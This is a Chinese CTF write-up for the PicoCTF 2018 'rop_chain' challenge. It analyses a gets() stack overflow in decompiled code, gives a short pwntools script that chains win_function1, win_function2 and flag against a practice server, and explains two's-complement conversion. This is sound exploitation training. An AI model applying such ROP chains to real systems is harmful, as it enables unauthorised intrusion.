分析

  1. checksec
1
2
3
checksec --file=PicoCTF_2018_rop_chain
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 84) Symbols No 0 3PicoCTF_2018_rop_chain
  1. ida
1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v4; // [esp+Ch] [ebp-Ch]

setvbuf(_bss_start, 0, 2, 0);
v4 = getegid();
setresgid(v4, v4, v4);
vuln();
return 0;
}

查看vlun函数:

1
2
3
4
5
6
7
char *vuln()
{
char s[24]; // [esp+0h] [ebp-18h] BYREF

printf("Enter your input> ");
return gets(s);
}

gets函数存在溢出。

查看一下字符串,发现有flag.txt,点进去,函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl flag(int a1)
{
char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
FILE *stream; // [esp+3Ch] [ebp-Ch]

stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(s, 48, stream);
if ( win1 && win2 && a1 == -559039827 )
return printf("%s", s);
if ( win1 && win2 )
return puts("Incorrect Argument. Remember, you can call other functions in between each win function!");
if ( win1 || win2 )
return puts("Nice Try! You're Getting There!");
return puts("You won't get the flag that easy..");
}

逻辑就是打开一个stream,如果打开,把stream拷贝给s,并且如果参数a1=-559039827,并且win1和win2为非0,那么就打印s,即flag。so,a1后续可以控制输入,看一下win1和win2如何赋值:

1
2
3
4
void win_function1()
{
win1 = 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl win_function2(int a1)
{
int result; // eax

result = (unsigned __int8)win1;
if ( win1 && a1 == -1163220307 )
{
win2 = 1;
}
else if ( win1 )
{
return puts("Wrong Argument. Try Again.");
}
else
{
return puts("Nope. Try a little bit harder.");
}
return result;
}

win1直接赋值1,win2在满足win1非0情况下a1=-1163220307即可,所以我们基本思路就有了:

  1. 调用win_function1,赋值win1=1
  2. 调用win_function2,传参-1163220307,赋值win2=1
  3. 最后调用flag函数,传参-559039827即可

利用

只需要注意32位传参是栈传参即可。

  • call win_func1
    • win_func2
      • flag
        • win_func2参数
          • flag参数
1
2
3
4
5
6
7
8
from pwn import *
p = remote('node5.buuoj.cn',27597)
win_func1 = 0x080485CB
win_func2 = 0x080485D8
flag = 0x0804862B
buf = b'a'*(0x18+4) + p32(win_func1) + p32(win_func2)+ p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
p.sendlineafter("input> ",buf)
p.interactive()


这里存在两个问题:

一、关键地址在ida里面和gdb里面不对,具体来讲就是会发现在ida中,win_func1地址不是0x080485CB,win_func2,flag同理,而且如果在gdb中进行断点,会发现这个地址和在ida里面看到的一样,但是这个地址不是最后代码地址,具体原因不详,目前还不知道,不过最后如何找到调用地址的,是反汇编F5后,再次按F5,会发现地址会有刷新,刷新后的就是代码地址,关于这个问题,后续再分析。

二、反汇编中的参数条件满足的数值,如何转为代码里面写的数值,直接选中数值,然后右键,点击hexadecimal即可。比如-1163220307,经过上述操作转为0xBAAAAAAD,是通过 补码表示(Two’s Complement) 实现的,具体如下:

  1. 取绝对值
    1163220307 的十六进制是 0x45555553
  2. 取反(Invert)
    0x455555530xBAAAAAAC(按位取反)。
  3. 加 1
    0xBAAAAAAC + 1 = 0xBAAAAAAD

这里要区分一下python hex函数,hex() 函数和计算机存储负数的补码方式不同

Python 的 hex() 函数会直接显示 负数的数学十六进制值,而不是其在内存中的补码表示:

1
2
>>> hex(-1163220307)
'-0x45555553' # 直接显示负号 + 绝对值的十六进制

计算过程:

  • 先取绝对值:1163220307 的十六进制是 0x45555553
  • 然后加上负号:-0x45555553

Python 不会自动转换成补码形式,因为它的整数是任意精度的,不直接映射到固定位宽(如 32 位或 64 位)的存储方式

用c可以打印内存中负数16进制表达:

1
2
int x = -1163220307;  // 实际存储为 0xBAAAAAAD(补码)
printf("%X", (unsigned int)x); // 输出 BAAAAAAD

python中如下:

1
2
3
def to_32bit_hex(num):
return hex(num & 0xFFFFFFFF)
print(to_32bit_hex(-1163220307)) # 输出 0xbaaaaaad
  • num & 0xFFFFFFFF 将数值限制在 32 位无符号整数 范围内。
  • 负数会以补码形式计算,因此 -1163220307 变成 0xBAAAAAAD